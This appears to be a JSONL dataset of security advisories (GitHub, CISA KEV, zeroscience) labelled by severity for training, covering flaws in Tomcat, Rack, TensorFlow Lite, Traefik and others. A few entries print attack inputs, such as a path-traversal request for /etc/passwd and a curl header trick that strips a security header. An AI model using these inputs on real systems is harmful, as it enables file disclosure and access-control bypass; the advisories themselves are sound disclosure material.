-{"id": "9025e557e7a2c1910248", "text": "HTTP Request Smuggling in Apache Tomcat\n\nApache Tomcat 10.0.0-M1 to 10.0.6, 9.0.0.M1 to 9.0.46 and 8.5.0 to 8.5.66 did not correctly parse the HTTP transfer-encoding request header in some circumstances leading to the possibility to request smuggling when used with a reverse proxy. Specifically: - Tomcat incorrectly ignored the transfer encoding header if the client declared it would only accept an HTTP/1.0 response; - Tomcat honoured the identify encoding; and - Tomcat did not ensure that, if present, the chunked encoding was the final encoding.", "text_raw": "HTTP Request Smuggling in Apache Tomcat\n\n[Severity: MEDIUM]\n\nApache Tomcat 10.0.0-M1 to 10.0.6, 9.0.0.M1 to 9.0.46 and 8.5.0 to 8.5.66 did not correctly parse the HTTP transfer-encoding request header in some circumstances leading to the possibility to request smuggling when used with a reverse proxy. Specifically: - Tomcat incorrectly ignored the transfer encoding header if the client declared it would only accept an HTTP/1.0 response; - Tomcat honoured the identify encoding; and - Tomcat did not ensure that, if present, the chunked encoding was the final encoding.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-13", "split": "train"}
-{"id": "119cea49953c3e08c0f4", "text": "Rack Vulnerable to Path Traversal\n\n`rack/file.rb` (`Rack::File`) in Rack 1.5.x before 1.5.2 and 1.4.x before 1.4.5 allows attackers to access arbitrary files outside the intended root directory via a crafted `PATH_INFO` environment variable, probably a directory traversal vulnerability that is remotely exploitable, aka \"symlink path traversals.\"", "text_raw": "Rack Vulnerable to Path Traversal\n\n[Severity: MEDIUM]\n\n`rack/file.rb` (`Rack::File`) in Rack 1.5.x before 1.5.2 and 1.4.x before 1.4.5 allows attackers to access arbitrary files outside the intended root directory via a crafted `PATH_INFO` environment variable, probably a directory traversal vulnerability that is remotely exploitable, aka \"symlink path traversals.\"", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "8edccc6b3fae84416477", "text": "Denial of Service in http-proxy-agent\n\nVersions of `http-proxy-agent` before 2.1.0 are vulnerable to denial of service and uninitialized memory leak when unsanitized options are passed to `Buffer`. An attacker may leverage these unsanitized options to consume system resources.\n\n## Recommendation\n\nUpdate to version 2.1.0 or later.", "text_raw": "Denial of Service in http-proxy-agent\n\n[Severity: HIGH]\n\nVersions of `http-proxy-agent` before 2.1.0 are vulnerable to denial of service and uninitialized memory leak when unsanitized options are passed to `Buffer`. An attacker may leverage these unsanitized options to consume system resources.\n\n\n## Recommendation\n\nUpdate to version 2.1.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-11", "split": "train"}
-{"id": "bab36faf17f31f687533", "text": "Directory Traversal in node-server-forfront\n\nAffected versions of `node-server-forfront` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in node-server-forfront\n\n[Severity: HIGH]\n\nAffected versions of `node-server-forfront` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "7766ab5ced82f0244048", "text": "Microsoft Office OLE DLL Side Loading Vulnerability\n\nAffected: Microsoft Office\n\nMicrosoft Office Object Linking & Embedding (OLE) dynamic link library (DLL) contains a side loading vulnerability due to it improperly validating input before loading libraries. Successful exploitation allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-264\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Office OLE DLL Side Loading Vulnerability\n\nAffected: Microsoft Office\n\nMicrosoft Office Object Linking & Embedding (OLE) dynamic link library (DLL) contains a side loading vulnerability due to it improperly validating input before loading libraries. Successful exploitation allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-264\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "fa7218704c765802625c", "text": "Out of bounds access in tensorflow-lite\n\n### Impact\nIn TensorFlow Lite models using segment sum can trigger writes outside of bounds of heap allocated buffers by inserting negative elements in the segment ids tensor:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/kernels/internal/reference/reference_ops.h#L2625-L2631\n\nUsers having access to `segment_ids_data` can alter `output_index` and then write to outside of `output_data` buffer.\n\nThis might result in a segmentation fault but it can also be used to further corrupt the memory and can be chained with other vulnerabilities to create more advanced exploits.\n\n### Patches\nWe have patched the issue in 204945b and will release patch releases for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 2.2.1, or 2.3.1.\n\n### Workarounds\nA potential workaround would be to add a custom `Verifier` to the model loading code to ensure that the segment ids are all positive, although this only handles the case when the segment ids are stored statically in the model.\n\nA similar validation could be done if the segment ids are generated at runtime between inference steps.\n\nIf the segment ids are generated as outputs of a tensor during inference steps, then there are no possible workaround and users are advised to upgrade to patched code.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been discovered from a variant analysis of [GHSA-p2cq-cprg-frvm](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p2cq-cprg-frvm).", "text_raw": "Out of bounds access in tensorflow-lite\n\n[Severity: CRITICAL]\n\n### Impact\nIn TensorFlow Lite models using segment sum can trigger writes outside of bounds of heap allocated buffers by inserting negative elements in the segment ids tensor:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/kernels/internal/reference/reference_ops.h#L2625-L2631\n\nUsers having access to `segment_ids_data` can alter `output_index` and then write to outside of `output_data` buffer.\n\nThis might result in a segmentation fault but it can also be used to further corrupt the memory and can be chained with other vulnerabilities to create more advanced exploits.\n\n### Patches\nWe have patched the issue in 204945b and will release patch releases for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 2.2.1, or 2.3.1.\n\n### Workarounds\nA potential workaround would be to add a custom `Verifier` to the model loading code to ensure that the segment ids are all positive, although this only handles the case when the segment ids are stored statically in the model.\n\nA similar validation could be done if the segment ids are generated at runtime between inference steps.\n\nIf the segment ids are generated as outputs of a tensor during inference steps, then there are no possible workaround and users are advised to upgrade to patched code.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been discovered from a variant analysis of [GHSA-p2cq-cprg-frvm](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p2cq-cprg-frvm).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "d42de2d64501cc702520", "text": "Authorization bypass in Spree\n\n### Impact\nThe perpetrator could query the [API v2 Order Status](https://guides.spreecommerce.org/api/v2/storefront#tag/Order-Status) endpoint with an empty string passed as an Order token\n\n### Patches\nPlease upgrade to 3.7.11, 4.0.4, or 4.1.11 depending on your used Spree version. Users of Spree < 3.7 are not affected.\n\n### References\nPull request with a fix and in-depth explanation - https://github.com/spree/spree/pull/10573\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@spreecommerce.org](mailto:security@spreecommerce.org)", "text_raw": "Authorization bypass in Spree\n\n[Severity: HIGH]\n\n### Impact\nThe perpetrator could query the [API v2 Order Status](https://guides.spreecommerce.org/api/v2/storefront#tag/Order-Status) endpoint with an empty string passed as an Order token\n\n### Patches\nPlease upgrade to 3.7.11, 4.0.4, or 4.1.11 depending on your used Spree version. Users of Spree < 3.7 are not affected.\n\n### References\nPull request with a fix and in-depth explanation - https://github.com/spree/spree/pull/10573\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@spreecommerce.org](mailto:security@spreecommerce.org)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-13", "split": "train"}
-{"id": "f58a74ad7ca3c629d14a", "text": "Ecessa ShieldLink SL175EHQ 10.7.4 CSRF Add Superuser Exploit", "text_raw": "Ecessa ShieldLink SL175EHQ 10.7.4 CSRF Add Superuser Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-06-24", "split": "train"}
-{"id": "748185e46ef0433e73c1", "text": "Cross-Site Scripting in markdown-to-jsx\n\nVersions of `markdown-to-jsx` prior to 6.11.4 are vulnerable to Cross-Site Scripting. Due to insufficient input sanitization the package may render output containing malicious JavaScript. This vulnerability can be exploited through input of links containing `data` or VBScript URIs and a base64-encoded payload.\n\n## Recommendation\n\nUpgrade to version 6.11.4 or later.", "text_raw": "Cross-Site Scripting in markdown-to-jsx\n\n[Severity: HIGH]\n\nVersions of `markdown-to-jsx` prior to 6.11.4 are vulnerable to Cross-Site Scripting. Due to insufficient input sanitization the package may render output containing malicious JavaScript. This vulnerability can be exploited through input of links containing `data` or VBScript URIs and a base64-encoded payload.\n\n\n## Recommendation\n\nUpgrade to version 6.11.4 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "162c770d5c4500c8996a", "text": "Insecure direct object reference of log files of the Import/Export feature\n\n### Impact\nInsecure direct object reference of log files of the Import/Export feature\n\n### Patches\nWe recommend updating to the current version 6.4.3.1. You can get the update to 6.4.3.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659", "text_raw": "Insecure direct object reference of log files of the Import/Export feature\n\n[Severity: MEDIUM]\n\n### Impact\nInsecure direct object reference of log files of the Import/Export feature\n\n### Patches\nWe recommend updating to the current version 6.4.3.1. You can get the update to 6.4.3.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "1416e12bd6390fc359ac", "text": "Header dropping in traefik\n\n# Impact\n\nThere exists a potential header vulnerability in Traefik's handling of the Connection header. Active exploitation of this issue is unlikely, as it requires that a removed header would lead to a privilege escalation, however, the Traefik team has addressed this issue to prevent any potential abuse.\n\n# Details\n\nIf you have a chain of Traefik middlewares, and one of them sets a request header `Important-Security-Header`, then sending a request with the following Connection header will cause it to be removed before the request was sent:\n\n```\ncurl 'https://example.com' -H \"Connection: Important-Security-Header\" -0\n```\n\nIn this case, the backend does not see the request header `Important-Security-Header`.\n\n# Patches\n\nTraefik v2.4.x: https://github.com/traefik/traefik/releases/tag/v2.4.13\n\n# Workarounds\n\nNo.\n\n# For more information\n\nIf you have any questions or comments about this advisory, [open an issue](https://github.com/traefik/traefik/issues).", "text_raw": "Header dropping in traefik\n\n[Severity: MEDIUM]\n\n# Impact\n\nThere exists a potential header vulnerability in Traefik's handling of the Connection header. Active exploitation of this issue is unlikely, as it requires that a removed header would lead to a privilege escalation, however, the Traefik team has addressed this issue to prevent any potential abuse.\n\n# Details\n\nIf you have a chain of Traefik middlewares, and one of them sets a request header `Important-Security-Header`, then sending a request with the following Connection header will cause it to be removed before the request was sent:\n\n```\ncurl 'https://example.com' -H \"Connection: Important-Security-Header\" -0\n```\n\nIn this case, the backend does not see the request header `Important-Security-Header`.\n\n# Patches\n\nTraefik v2.4.x: https://github.com/traefik/traefik/releases/tag/v2.4.13\n\n# Workarounds\n\nNo.\n\n# For more information\n\nIf you have any questions or comments about this advisory, [open an issue](https://github.com/traefik/traefik/issues).\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-05", "split": "train"}
-{"id": "dff34cc20ebf43e2773f", "text": "Link injection in SimpleSAMLphp\n\n### Background\nSeveral scripts part of SimpleSAMLphp display a web page with links obtained from the request parameters. This allows us to enhance usability, as the users are presented with links they can follow after completing a certain action, like logging out.\n\n### Description\nThe following scripts were not checking the URLs obtained via the HTTP request before displaying them as the target of links that the user may click on:\n\n- `www/logout.php`\n- `modules/core/www/no_cookie.php`\n\nThe issue allowed attackers to display links targeting a malicious website inside a trusted site running SimpleSAMLphp, due to the lack of security checks involving the `link_href` and `retryURL` HTTP parameters, respectively. The issue was resolved by including a verification of the URLs received in the request against a white list of websites specified in the `trusted.url.domains` configuration option.\n\n### Affected versions\nAll SimpleSAMLphp versions prior to 1.14.4.\n\n### Impact\nA remote attacker could craft a link pointing to a trusted website running SimpleSAMLphp, including a parameter pointing to a malicious website, and try to fool the victim into visiting that website by clicking on a link in the page presented by SimpleSAMLphp.\n\n### Resolution\nUpgrade to the latest version.\n\n### Credit\nThis security issue was discovered and reported by John Page (hyp3rlinx).", "text_raw": "Link injection in SimpleSAMLphp\n\n[Severity: LOW]\n\n### Background\nSeveral scripts part of SimpleSAMLphp display a web page with links obtained from the request parameters. This allows us to enhance usability, as the users are presented with links they can follow after completing a certain action, like logging out.\n\n### Description\nThe following scripts were not checking the URLs obtained via the HTTP request before displaying them as the target of links that the user may click on:\n\n- `www/logout.php`\n- `modules/core/www/no_cookie.php`\n\nThe issue allowed attackers to display links targeting a malicious website inside a trusted site running SimpleSAMLphp, due to the lack of security checks involving the `link_href` and `retryURL` HTTP parameters, respectively. The issue was resolved by including a verification of the URLs received in the request against a white list of websites specified in the `trusted.url.domains` configuration option.\n\n### Affected versions\nAll SimpleSAMLphp versions prior to 1.14.4.\n\n### Impact\nA remote attacker could craft a link pointing to a trusted website running SimpleSAMLphp, including a parameter pointing to a malicious website, and try to fool the victim into visiting that website by clicking on a link in the page presented by SimpleSAMLphp.\n\n### Resolution\nUpgrade to the latest version.\n\n### Credit\nThis security issue was discovered and reported by John Page (hyp3rlinx).", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-01-24", "split": "train"}
-{"id": "d9d45c492f2f6dd05cf3", "text": "Prototype Pollution in deap\n\nVersions of `deap` before 1.0.1 are vulnerable to prototype pollution.\n\n## Recommendation\n\nUpdate to version 1.0.1 or later.", "text_raw": "Prototype Pollution in deap\n\n[Severity: HIGH]\n\nVersions of `deap` before 1.0.1 are vulnerable to prototype pollution.\n\n\n## Recommendation\n\nUpdate to version 1.0.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-31", "split": "train"}
-{"id": "bfdcb123a01a327751bb", "text": "Incorrect Authorization in TeamPass\n\nThe REST API functions in TeamPass 2.1.27.36 allow any user with a valid API token to bypass IP address whitelist restrictions via an X-Forwarded-For client HTTP header to the getIp function.", "text_raw": "Incorrect Authorization in TeamPass\n\n[Severity: HIGH]\n\nThe REST API functions in TeamPass 2.1.27.36 allow any user with a valid API token to bypass IP address whitelist restrictions via an X-Forwarded-For client HTTP header to the getIp function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-26", "split": "train"}
-{"id": "20af905f7d02d2fb2a49", "text": "Infinite Loop in Apache Sanselan\n\nCertain input files could make the code to enter into an infinite loop when Apache Sanselan 0.97-incubator was used to parse them, which could be used in a DoS attack. Note that Apache Sanselan (incubating) was renamed to Apache Commons Imaging.", "text_raw": "Infinite Loop in Apache Sanselan\n\n[Severity: HIGH]\n\nCertain input files could make the code to enter into an infinite loop when Apache Sanselan 0.97-incubator was used to parse them, which could be used in a DoS attack. Note that Apache Sanselan (incubating) was renamed to Apache Commons Imaging.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-14", "split": "train"}
-{"id": "1a625421b19cb6249e7f", "text": "Regular Expression Denial of Service in sql-injection\n\nAll versions of `sql-injection` are vulnerable to Regular Expression Denial of Service. The package processes a request's body with regular expressions that may take exponentially longer to execute for large inputs.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Regular Expression Denial of Service in sql-injection\n\n[Severity: HIGH]\n\nAll versions of `sql-injection` are vulnerable to Regular Expression Denial of Service. The package processes a request's body with regular expressions that may take exponentially longer to execute for large inputs.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "3a0e3ac0b6ec0a66b6c9", "text": "Regular Expression Denial of Service in charset\n\nAffected versions of `charset` are susceptible to a regular expression denial of service.\n\nThe amplification on this vulnerability is relatively low - it takes around 2 seconds for the engine to execute on a malicious input which is 50,000 characters in length.\n\nIf node was compiled using the `-DHTTP_MAX_HEADER_SIZE` however, the impact of the vulnerability can be significant, as the primary limitation for the vulnerability is the default max HTTP header length in node.\n\n## Recommendation\n\nUpdate to version 1.0.1 or later.", "text_raw": "Regular Expression Denial of Service in charset\n\n[Severity: HIGH]\n\nAffected versions of `charset` are susceptible to a regular expression denial of service.\n\nThe amplification on this vulnerability is relatively low - it takes around 2 seconds for the engine to execute on a malicious input which is 50,000 characters in length.\n\n\nIf node was compiled using the `-DHTTP_MAX_HEADER_SIZE` however, the impact of the vulnerability can be significant, as the primary limitation for the vulnerability is the default max HTTP header length in node.\n\n\n## Recommendation\n\nUpdate to version 1.0.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-09", "split": "train"}
-{"id": "bfc1d269752e38e01985", "text": "In Apache Solr versions 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5, the Config API allows to configure the JMX server via an HTTP POST request. By pointing it to a malicious RMI server, an attacker could take advantage of Solr's unsafe deserialization to trigger remote code execution on the Solr side.", "text_raw": "Critical severity vulnerability that affects org.apache.solr:solr-core\n\n[Severity: CRITICAL]\n\nIn Apache Solr versions 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5, the Config API allows to configure the JMX server via an HTTP POST request. By pointing it to a malicious RMI server, an attacker could take advantage of Solr's unsafe deserialization to trigger remote code execution on the Solr side.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-03-14", "split": "train"}
-{"id": "bac5f44c16326c355f6a", "text": "ReDoS in LDAP schema parser\n\nhttps://github.com/python-ldap/python-ldap/issues/424\n\n### Impact\nThe LDAP schema parser of python-ldap 3.3.1 and earlier are vulnerable to a regular expression denial-of-service attack. The issue affects clients that use ``ldap.schema`` package to parse LDAP schema definitions from an untrusted source.\n\n### Patches\nThe upcoming release of python-ldap 3.4.0 will contain a workaround to prevent ReDoS attacks. The schema parser refuses schema definitions with an excessive amount of backslashes.\n\n### Workarounds\nAs a workaround, users can check input for excessive amount of backslashes in schemas. More than a dozen backslashes per line are atypical.\n\n### References\n[CWE-1333](https://cwe.mitre.org/data/definitions/1333.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [python-ldap](https://github.com/python-ldap/python-ldap) tracker", "text_raw": "ReDoS in LDAP schema parser\n\n[Severity: MEDIUM]\n\nhttps://github.com/python-ldap/python-ldap/issues/424\n\n### Impact\nThe LDAP schema parser of python-ldap 3.3.1 and earlier are vulnerable to a regular expression denial-of-service attack. The issue affects clients that use ``ldap.schema`` package to parse LDAP schema definitions from an untrusted source.\n\n### Patches\nThe upcoming release of python-ldap 3.4.0 will contain a workaround to prevent ReDoS attacks. The schema parser refuses schema definitions with an excessive amount of backslashes.\n\n### Workarounds\nAs a workaround, users can check input for excessive amount of backslashes in schemas. More than a dozen backslashes per line are atypical.\n\n### References\n[CWE-1333](https://cwe.mitre.org/data/definitions/1333.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [python-ldap](https://github.com/python-ldap/python-ldap) tracker\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-29", "split": "train"}
-{"id": "eadcce7729d2f9dfb796", "text": "Exposure of uninitialized memory in memoffset\n\nAffected versions of this crate caused traps and/or memory unsafety by zero-initializing references. They also could lead to uninitialized memory being dropped if the field for which the offset is requested was behind a deref coercion, and that deref coercion caused a panic. The flaw was corrected by using MaybeUninit.", "text_raw": "Exposure of uninitialized memory in memoffset\n\n[Severity: HIGH]\n\nAffected versions of this crate caused traps and/or memory unsafety by zero-initializing references. They also could lead to uninitialized memory being dropped if the field for which the offset is requested was behind a deref coercion, and that deref coercion caused a panic. The flaw was corrected by using MaybeUninit.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "1a052dff68cd7c585aeb", "text": "Pillow Buffer overflow in ImagingFliDecode\n\nBuffer overflow in the `ImagingFliDecode` function in `libImaging/FliDecode.c` in Pillow before 3.1.1 allows remote attackers to cause a denial of service (crash) via a crafted FLI file.", "text_raw": "Pillow Buffer overflow in ImagingFliDecode\n\n[Severity: HIGH]\n\nBuffer overflow in the `ImagingFliDecode` function in `libImaging/FliDecode.c` in Pillow before 3.1.1 allows remote attackers to cause a denial of service (crash) via a crafted FLI file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "6cdafae9f0b3c5d25e67", "text": "Deserialization of Untrusted Data in EthereumJ\n\nAn issue was discovered in EthereumJ 1.8.2. There is Unsafe Deserialization in ois.readObject in mine/Ethash.java and decoder.readObject in crypto/ECKey.java. When a node syncs and mines a new block, arbitrary OS commands can be run on the server.", "text_raw": "Deserialization of Untrusted Data in EthereumJ\n\n[Severity: CRITICAL]\n\nAn issue was discovered in EthereumJ 1.8.2. There is Unsafe Deserialization in ois.readObject in mine/Ethash.java and decoder.readObject in crypto/ECKey.java. When a node syncs and mines a new block, arbitrary OS commands can be run on the server.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-07-26", "split": "train"}
-{"id": "db1bd1dd6f78242765e2", "text": "Kemana Directory 1.5.6 kemana_admin_passwd Cookie User Password Hash Disclosure", "text_raw": "Kemana Directory 1.5.6 kemana_admin_passwd Cookie User Password Hash Disclosure\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2014-03-25", "split": "train"}
-{"id": "cbaf1fbc223309da4f37", "text": "Information disclosure issue in Active Resource\n\nThere is a possible information disclosure issue in Active Resource <v5.1.1 that could allow an attacker to create specially crafted requests to access data in an unexpected way and possibly leak information.", "text_raw": "Information disclosure issue in Active Resource\n\n[Severity: HIGH]\n\nThere is a possible information disclosure issue in Active Resource <v5.1.1 that could allow an attacker to create specially crafted requests to access data in an unexpected way and possibly leak information.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-21", "split": "train"}
-{"id": "6046df6057585046e1d7", "text": "GAzie 5.10 (Login parameter) Multiple Remote Vulnerabilities", "text_raw": "GAzie 5.10 (Login parameter) Multiple Remote Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2011-02-17", "split": "train"}
-{"id": "3fc4d4bc3c2b402f23be", "text": "Prototype Pollution in ts-nodash\n\n`ts-nodash` before version 1.2.7 is vulnerable to Prototype Pollution via the Merge() function due to lack of validation input.", "text_raw": "Prototype Pollution in ts-nodash\n\n[Severity: HIGH]\n\n`ts-nodash` before version 1.2.7 is vulnerable to Prototype Pollution via the Merge() function due to lack of validation input.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "41ac7b179bf7b8fc1d61", "text": "Regular expression Denial of Service in @progfay/scrapbox-parser\n\n### Impact\n\nA [Regular expression Denial of Service](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) flaw was found in the @progfay/scrapbox-parser package before 6.0.3, 7.0.2 for Node.js.\nThe attacker that is able to be parsed a specially crafted text may cause the application to consume an excessive amount of CPU.\n\n### Patches\n\nUpgrade to version 6.0.3, 7.0.2 or later.\n\n### Workarounds\n\nAvoid to parse text with a lot of `[` chars.\n\n### References\n\n* https://github.com/progfay/scrapbox-parser/pull/519\n* https://github.com/progfay/scrapbox-parser/pull/539\n* https://github.com/progfay/scrapbox-parser/pull/540\n* https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-27405\n* https://snyk.io/vuln/SNYK-JS-PROGFAYSCRAPBOXPARSER-1076803\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/progfay/scrapbox-parser](https://github.com/progfay/scrapbox-parser/issues)", "text_raw": "Regular expression Denial of Service in @progfay/scrapbox-parser\n\n[Severity: MEDIUM]\n\n### Impact\n\nA [Regular expression Denial of Service](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) flaw was found in the @progfay/scrapbox-parser package before 6.0.3, 7.0.2 for Node.js.\nThe attacker that is able to be parsed a specially crafted text may cause the application to consume an excessive amount of CPU.\n\n### Patches\n\nUpgrade to version 6.0.3, 7.0.2 or later.\n\n### Workarounds\n\nAvoid to parse text with a lot of `[` chars.\n\n### References\n\n* https://github.com/progfay/scrapbox-parser/pull/519\n* https://github.com/progfay/scrapbox-parser/pull/539\n* https://github.com/progfay/scrapbox-parser/pull/540\n* https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-27405\n* https://snyk.io/vuln/SNYK-JS-PROGFAYSCRAPBOXPARSER-1076803\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/progfay/scrapbox-parser](https://github.com/progfay/scrapbox-parser/issues)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-01", "split": "train"}
-{"id": "9ca40995ec904e49338e", "text": "Cross-Site Scripting in bracket-template\n\nAll versions of `bracket-template` are vulnerable to stored cross-site scripting (XSS). This is exploitable when a variable passed in via a GET parameter is used in a template.\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time.", "text_raw": "Cross-Site Scripting in bracket-template\n\n[Severity: HIGH]\n\nAll versions of `bracket-template` are vulnerable to stored cross-site scripting (XSS). This is exploitable when a variable passed in via a GET parameter is used in a template.\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-30", "split": "train"}
-{"id": "095420298e236f31cbf1", "text": "Fortinet FortiOS Default Configuration Vulnerability\n\nAffected: Fortinet FortiOS\n\nFortinet FortiOS contains a default configuration vulnerability that may allow an unauthenticated attacker on the same subnet to intercept sensitive information by impersonating the Lightweight Directory Access Protocol (LDAP) server.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-306\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Fortinet FortiOS Default Configuration Vulnerability\n\nAffected: Fortinet FortiOS\n\nFortinet FortiOS contains a default configuration vulnerability that may allow an unauthenticated attacker on the same subnet to intercept sensitive information by impersonating the Lightweight Directory Access Protocol (LDAP) server.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-306\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "fc752f4968cd0bfa0c5d", "text": "Cross-Site Scripting in react-svg\n\nVersions of `react-svg` before 2.2.18 are vulnerable to cross-site scripting (xss). This is due to the fact that scripts found in SVG files are run by default.\n\n## Recommendation\n\nUpdate to version 2.2.18 or later.", "text_raw": "Cross-Site Scripting in react-svg\n\n[Severity: HIGH]\n\nVersions of `react-svg` before 2.2.18 are vulnerable to cross-site scripting (xss). This is due to the fact that scripts found in SVG files are run by default.\n\n\n## Recommendation\n\nUpdate to version 2.2.18 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-31", "split": "train"}
-{"id": "61293274d438e9ad3559", "text": "Apache Tika Server exposes sensitive information\n\nApache Tika provides optional functionality to run itself as a web service to allow remote use. When used in this manner,\nit's possible for a 3rd party to pass a 'fileUrl' header to the Apache Tika Server (tika-server) before version 1.10. This header lets a remote client request that the server fetches content from the URL provided, including files from the server's local filesystem. Depending on the file permissions set on the local filesystem, this could be used to return sensitive content from the server machine.\n\nThis vulnerability only exists if you are running the tika-server version 1.9, and you allow un-trusted access to the tika-server\nURL. Usage of Apache Tika as a standard library is not affected.", "text_raw": "Apache Tika Server exposes sensitive information\n\n[Severity: MEDIUM]\n\nApache Tika provides optional functionality to run itself as a web service to allow remote use. When used in this manner,\nit's possible for a 3rd party to pass a 'fileUrl' header to the Apache Tika Server (tika-server) before version 1.10. This header lets a remote client request that the server fetches content from the URL provided, including files from the server's local filesystem. Depending on the file permissions set on the local filesystem, this could be used to return sensitive content from the server machine.\n\nThis vulnerability only exists if you are running the tika-server version 1.9, and you allow un-trusted access to the tika-server\nURL. Usage of Apache Tika as a standard library is not affected.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
